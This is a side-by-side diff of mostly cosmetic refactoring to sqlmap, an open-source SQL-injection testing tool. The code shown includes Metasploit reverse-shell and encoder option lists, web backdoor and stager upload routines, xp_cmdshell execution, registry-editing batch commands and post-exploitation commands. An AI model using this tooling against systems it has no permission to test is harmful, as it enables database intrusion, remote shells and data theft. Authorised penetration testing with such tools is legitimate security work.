errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg raise SqlmapInstallationException(errMsg)
root = doc.getroot() root = doc.getroot()
parseXmlNode(root) parseXmlNode(root)
+1 -1
View File
@@ -32,7 +32,7 @@ def parseSitemap(url, retVal=None):
content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
except httplib.InvalidURL: except httplib.InvalidURL:
errMsg = "invalid URL given for sitemap ('%s')" % url errMsg = "invalid URL given for sitemap ('%s')" % url
raise SqlmapSyntaxException, errMsg raise SqlmapSyntaxException(errMsg)
for match in re.finditer(r"<loc>\s*([^<]+)", content or ""): for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
if abortedFlag: if abortedFlag:
+6 -4
View File
@@ -61,7 +61,7 @@ def forgeHeaders(items=None, base=None):
if items[_] is None: if items[_] is None:
del items[_] del items[_]
headers = OrderedDict(base or conf.httpHeaders) headers = OrderedDict(conf.httpHeaders if base is None else base)
headers.update(items.items()) headers.update(items.items())
class _str(str): class _str(str):
@@ -110,7 +110,9 @@ def forgeHeaders(items=None, base=None):
kb.mergeCookies = readInput(message, default='Y', boolean=True) kb.mergeCookies = readInput(message, default='Y', boolean=True)
if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
_ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x) def _(value):
return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value)
headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
if PLACE.COOKIE in conf.parameters: if PLACE.COOKIE in conf.parameters:
@@ -161,7 +163,7 @@ def checkCharEncoding(encoding, warn=True):
return encoding return encoding
# Reference: http://www.destructor.de/charsets/index.htm # Reference: http://www.destructor.de/charsets/index.htm
translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
for delimiter in (';', ',', '('): for delimiter in (';', ',', '('):
if delimiter in encoding: if delimiter in encoding:
@@ -218,7 +220,7 @@ def checkCharEncoding(encoding, warn=True):
try: try:
codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding) codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding)
except (LookupError, ValueError): except (LookupError, ValueError):
if warn: if warn and ' ' not in encoding:
warnMsg = "unknown web page charset '%s'. " % encoding warnMsg = "unknown web page charset '%s'. " % encoding
warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS
singleTimeLogMessage(warnMsg, logging.WARN, encoding) singleTimeLogMessage(warnMsg, logging.WARN, encoding)
+2 -4
View File
@@ -30,10 +30,8 @@ class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler):
self.retried_count = 0 self.retried_count = 0
else: else:
if self.retried_count > 5: if self.retried_count > 5:
raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None)
headers, None)
else: else:
self.retried_count += 1 self.retried_count += 1
return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed( return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers)
self, auth_header, host, req, headers)
+41 -33
View File
@@ -187,13 +187,13 @@ class Connect(object):
if not kb.dnsMode and conn: if not kb.dnsMode and conn:
headers = conn.info() headers = conn.info()
if headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\ if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE) retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE)
if len(retVal) == MAX_CONNECTION_TOTAL_SIZE: if len(retVal) == MAX_CONNECTION_TOTAL_SIZE:
warnMsg = "large compressed response detected. Disabling compression" warnMsg = "large compressed response detected. Disabling compression"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
kb.pageCompress = False kb.pageCompress = False
raise SqlmapCompressionException
else: else:
while True: while True:
if not conn: if not conn:
@@ -241,27 +241,27 @@ class Connect(object):
kb.requestCounter += 1 kb.requestCounter += 1
threadData.lastRequestUID = kb.requestCounter threadData.lastRequestUID = kb.requestCounter
url = kwargs.get("url", None) or conf.url url = kwargs.get("url", None) or conf.url
get = kwargs.get("get", None) get = kwargs.get("get", None)
post = kwargs.get("post", None) post = kwargs.get("post", None)
method = kwargs.get("method", None) method = kwargs.get("method", None)
cookie = kwargs.get("cookie", None) cookie = kwargs.get("cookie", None)
ua = kwargs.get("ua", None) or conf.agent ua = kwargs.get("ua", None) or conf.agent
referer = kwargs.get("referer", None) or conf.referer referer = kwargs.get("referer", None) or conf.referer
host = kwargs.get("host", None) or conf.host host = kwargs.get("host", None) or conf.host
direct_ = kwargs.get("direct", False) direct_ = kwargs.get("direct", False)
multipart = kwargs.get("multipart", None) multipart = kwargs.get("multipart", None)
silent = kwargs.get("silent", False) silent = kwargs.get("silent", False)
raise404 = kwargs.get("raise404", True) raise404 = kwargs.get("raise404", True)
timeout = kwargs.get("timeout", None) or conf.timeout timeout = kwargs.get("timeout", None) or conf.timeout
auxHeaders = kwargs.get("auxHeaders", None) auxHeaders = kwargs.get("auxHeaders", None)
response = kwargs.get("response", False) response = kwargs.get("response", False)
ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts
refreshing = kwargs.get("refreshing", False) refreshing = kwargs.get("refreshing", False)
retrying = kwargs.get("retrying", False) retrying = kwargs.get("retrying", False)
crawling = kwargs.get("crawling", False) crawling = kwargs.get("crawling", False)
checking = kwargs.get("checking", False) checking = kwargs.get("checking", False)
skipRead = kwargs.get("skipRead", False) skipRead = kwargs.get("skipRead", False)
if multipart: if multipart:
post = multipart post = multipart
@@ -346,7 +346,7 @@ class Connect(object):
requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
# Prepare HTTP headers # Prepare HTTP headers
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}) headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})
if HTTP_HEADER.COOKIE in headers: if HTTP_HEADER.COOKIE in headers:
cookie = headers[HTTP_HEADER.COOKIE] cookie = headers[HTTP_HEADER.COOKIE]
@@ -479,8 +479,7 @@ class Connect(object):
# Get HTTP response # Get HTTP response
if hasattr(conn, "redurl"): if hasattr(conn, "redurl"):
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\ page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
else Connect._connReadProxy(conn)) if not skipRead else None
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
code = conn.redcode code = conn.redcode
else: else:
@@ -684,6 +683,9 @@ class Connect(object):
status = re.search(r"Handshake status ([\d]{3})", tbMsg) status = re.search(r"Handshake status ([\d]{3})", tbMsg)
errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown" errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown"
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
elif "SqlmapCompressionException" in tbMsg:
warnMsg = "problems with response (de)compression"
retrying = True
else: else:
warnMsg = "unable to connect to the target URL" warnMsg = "unable to connect to the target URL"
@@ -719,7 +721,7 @@ class Connect(object):
else: else:
logger.debug(warnMsg) logger.debug(warnMsg)
return Connect._retryProxy(**kwargs) return Connect._retryProxy(**kwargs)
elif kb.testMode: elif kb.testMode or kb.multiThreadMode:
logger.critical(warnMsg) logger.critical(warnMsg)
return None, None, None return None, None, None
else: else:
@@ -862,7 +864,9 @@ class Connect(object):
skip = True skip = True
if not skip: if not skip:
payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path)
value = urlencode(value, spaceplus=kb.postSpaceToPlus)
payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus)
value = agent.replacePayload(value, payload) value = agent.replacePayload(value, payload)
postUrlEncode = False postUrlEncode = False
@@ -932,9 +936,9 @@ class Connect(object):
if value and place == PLACE.CUSTOM_HEADER: if value and place == PLACE.CUSTOM_HEADER:
if value.split(',')[0].capitalize() == PLACE.COOKIE: if value.split(',')[0].capitalize() == PLACE.COOKIE:
cookie = value.split(',', 1)[1] cookie = value.split(',', 1)[-1]
else: else:
auxHeaders[value.split(',')[0]] = value.split(',', 1)[1] auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
if conf.csrfToken: if conf.csrfToken:
def _adjustParameter(paramString, parameter, newValue): def _adjustParameter(paramString, parameter, newValue):
@@ -981,7 +985,7 @@ class Connect(object):
if not conf.csrfUrl: if not conf.csrfUrl:
errMsg += ". You can try to rerun by providing " errMsg += ". You can try to rerun by providing "
errMsg += "a valid value for option '--csrf-url'" errMsg += "a valid value for option '--csrf-url'"
raise SqlmapTokenException, errMsg raise SqlmapTokenException(errMsg)
if token: if token:
token = token.strip("'\"") token = token.strip("'\"")
@@ -1039,7 +1043,7 @@ class Connect(object):
name = safeVariableNaming(name) name = safeVariableNaming(name)
elif name in keywords: elif name in keywords:
name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX)
value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus)) value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus))
variables[name] = value variables[name] = value
if cookie: if cookie:
@@ -1261,7 +1265,11 @@ class Connect(object):
page = removeReflectiveValues(page, payload) page = removeReflectiveValues(page, payload)
kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None
kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None
message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I)
if message:
kb.permissionFlag = True
singleTimeWarnMessage("potential permission problems detected ('%s')" % message)
if content or response: if content or response:
return page, headers, code return page, headers, code
@@ -1271,5 +1279,5 @@ class Connect(object):
else: else:
return comparison(page, headers, code, getRatioValue, pageLength) return comparison(page, headers, code, getRatioValue, pageLength)
def setHTTPHandlers(): # Cross-linked function def setHTTPHandlers(): # Cross-referenced function
raise NotImplementedError raise NotImplementedError
+1 -1
View File
@@ -48,7 +48,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"): if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols): for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
try: try:
sock = create_sock() sock = create_sock()
+1 -4
View File
@@ -175,10 +175,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
# forge the SQL limiting the query output one entry at a time # forge the SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table # NOTE: we assume that only queries that get data from a table
# can return multiple entries # can return multiple entries
if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression) expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)
if limitCond: if limitCond:
-1
View File
@@ -19,4 +19,3 @@ def getPageTemplate(payload, place):
retVal = kb.pageTemplates[(payload, place)] retVal = kb.pageTemplates[(payload, place)]
return retVal return retVal
+3 -3
View File
@@ -172,9 +172,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
inject.goStacked(expression) inject.goStacked(expression)
# TODO: add support for PostgreSQL # TODO: add support for PostgreSQL
#elif Backend.isDbms(DBMS.PGSQL): # elif Backend.isDbms(DBMS.PGSQL):
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1") # expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
# inject.goStacked(expression) # inject.goStacked(expression)
def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
self._initRunAs() self._initRunAs()
+54 -50
View File
@@ -81,6 +81,7 @@ class Metasploit:
_ = normalizePath(os.path.join(_, "..")) _ = normalizePath(os.path.join(_, ".."))
if _ == old: if _ == old:
break break
self._msfCli = "%s & ruby %s" % (_, self._msfCli) self._msfCli = "%s & ruby %s" % (_, self._msfCli)
self._msfConsole = "%s & ruby %s" % (_, self._msfConsole) self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
self._msfEncode = "ruby %s" % self._msfEncode self._msfEncode = "ruby %s" % self._msfEncode
@@ -88,60 +89,60 @@ class Metasploit:
self._msfVenom = "%s & ruby %s" % (_, self._msfVenom) self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
self._msfPayloadsList = { self._msfPayloadsList = {
"windows": { "windows": {
1: ("Meterpreter (default)", "windows/meterpreter"), 1: ("Meterpreter (default)", "windows/meterpreter"),
2: ("Shell", "windows/shell"), 2: ("Shell", "windows/shell"),
3: ("VNC", "windows/vncinject"), 3: ("VNC", "windows/vncinject"),
}, },
"linux": { "linux": {
1: ("Shell (default)", "linux/x86/shell"), 1: ("Shell (default)", "linux/x86/shell"),
2: ("Meterpreter (beta)", "linux/x86/meterpreter"), 2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
} }
} }
self._msfConnectionsList = { self._msfConnectionsList = {
"windows": { "windows": {
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"), 2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"), 3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"), 4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), 5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
}, },
"linux": { "linux": {
1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), 2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
} }
} }
self._msfEncodersList = { self._msfEncodersList = {
"windows": { "windows": {
1: ("No Encoder", "generic/none"), 1: ("No Encoder", "generic/none"),
2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"), 2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"), 3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"), 4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"), 5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
6: ("Single-byte XOR Countdown Encoder", "x86/countdown"), 6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"), 7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"), 8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
9: ("Non-Alpha Encoder", "x86/nonalpha"), 9: ("Non-Alpha Encoder", "x86/nonalpha"),
10: ("Non-Upper Encoder", "x86/nonupper"), 10: ("Non-Upper Encoder", "x86/nonupper"),
11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"), 11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"), 12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"), 13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
} }
} }
self._msfSMBPortsList = { self._msfSMBPortsList = {
"windows": { "windows": {
1: ("139/TCP", "139"), 1: ("139/TCP", "139"),
2: ("445/TCP (default)", "445"), 2: ("445/TCP (default)", "445"),
} }
} }
self._portData = { self._portData = {
"bind": "remote port number", "bind": "remote port number",
"reverse": "local port number", "reverse": "local port number",
} }
def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if Backend.isOs(OS.WINDOWS): if Backend.isOs(OS.WINDOWS):
@@ -484,10 +485,13 @@ class Metasploit:
send_all(proc, "use espia\n") send_all(proc, "use espia\n")
send_all(proc, "use incognito\n") send_all(proc, "use incognito\n")
# This extension is loaded by default since Metasploit > 3.7
#send_all(proc, "use priv\n") # This extension is loaded by default since Metasploit > 3.7:
# This extension freezes the connection on 64-bit systems # send_all(proc, "use priv\n")
#send_all(proc, "use sniffer\n")
# This extension freezes the connection on 64-bit systems:
# send_all(proc, "use sniffer\n")
send_all(proc, "sysinfo\n") send_all(proc, "sysinfo\n")
send_all(proc, "getuid\n") send_all(proc, "getuid\n")
+9 -9
View File
@@ -33,19 +33,19 @@ class Registry:
readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"" readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
self._batRead = ( self._batRead = (
"@ECHO OFF\r\n", "@ECHO OFF\r\n",
readParse, readParse,
) )
self._batAdd = ( self._batAdd = (
"@ECHO OFF\r\n", "@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
) )
self._batDel = ( self._batDel = (
"@ECHO OFF\r\n", "@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
) )
def _createLocalBatchFile(self): def _createLocalBatchFile(self):
self._batPathFp = open(self._batPathLocal, "w") self._batPathFp = open(self._batPathLocal, "w")
+10 -7
View File
@@ -47,6 +47,8 @@ from lib.core.enums import WEB_API
from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import EVENTVALIDATION_REGEX
from lib.core.settings import SHELL_RUNCMD_EXE_TAG
from lib.core.settings import SHELL_WRITABLE_DIR_TAG
from lib.core.settings import VIEWSTATE_REGEX from lib.core.settings import VIEWSTATE_REGEX
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from thirdparty.oset.pyoset import oset from thirdparty.oset.pyoset import oset
@@ -110,10 +112,10 @@ class Web:
if self.webApi in getPublicTypeMembers(WEB_API, True): if self.webApi in getPublicTypeMembers(WEB_API, True):
multipartParams = { multipartParams = {
"upload": "1", "upload": "1",
"file": stream, "file": stream,
"uploadDir": directory, "uploadDir": directory,
} }
if self.webApi == WEB_API.ASPX: if self.webApi == WEB_API.ASPX:
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
@@ -134,7 +136,7 @@ class Web:
def _webFileInject(self, fileContent, fileName, directory): def _webFileInject(self, fileContent, fileName, directory):
outFile = posixpath.join(ntToPosixSlashes(directory), fileName) outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
query = "" query = ""
if isTechniqueAvailable(kb.technique): if isTechniqueAvailable(kb.technique):
@@ -257,6 +259,7 @@ class Web:
directories = list(oset(directories)) directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/' path = urlparse.urlparse(conf.url).path or '/'
path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
if path != '/': if path != '/':
_ = [] _ = []
for directory in directories: for directory in directories:
@@ -324,7 +327,7 @@ class Web:
with open(filename, "w+b") as f: with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi)) _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) _ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_) f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
@@ -369,7 +372,7 @@ class Web:
continue continue
_ = "tmpe%s.exe" % randomStr(lowercase=True) _ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)): if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory self.webDirectory = backdoorDirectory
+1 -1
View File
@@ -214,7 +214,7 @@ class XP_cmdshell:
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
output = inject.getValue(query, resumeValue=False, blind=False, time=False) output = inject.getValue(query, resumeValue=False, blind=False, time=False)
if (output is None) or len(output)==0 or output[0] is None: if (output is None) or len(output) == 0 or output[0] is None:
output = [] output = []
count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+2 -2
View File
@@ -223,7 +223,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result and timeBasedCompare: if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode:
result = threadData.lastCode == kb.injection.data[kb.technique].trueCode result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
if not result: if not result:
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
@@ -611,7 +611,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# If we had no luck with commonValue and common charset, # If we had no luck with commonValue and common charset,
# use the returned other charset # use the returned other charset
if not val: if not val:
val = getChar(index, otherCharset, otherCharset==asciiTbl) val = getChar(index, otherCharset, otherCharset == asciiTbl)
else: else:
val = getChar(index, asciiTbl, not(charsetType is None and conf.charset)) val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))
+14 -16
View File
@@ -133,20 +133,23 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
# Parse the returned page to get the exact error-based # Parse the returned page to get the exact error-based
# SQL injection output # SQL injection output
output = reduce(lambda x, y: x if x is not None else y, (\ output = reduce(lambda x, y: x if x is not None else y, (
extractRegexResult(check, page), \ extractRegexResult(check, page),
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \ extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), \ extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \ extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)),
None) None
)
if output is not None: if output is not None:
output = getUnicode(output) output = getUnicode(output)
else: else:
trimmed = extractRegexResult(trimcheck, page) \ trimmed = (
or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \ extractRegexResult(trimcheck, page) or
or extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) \ extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) or
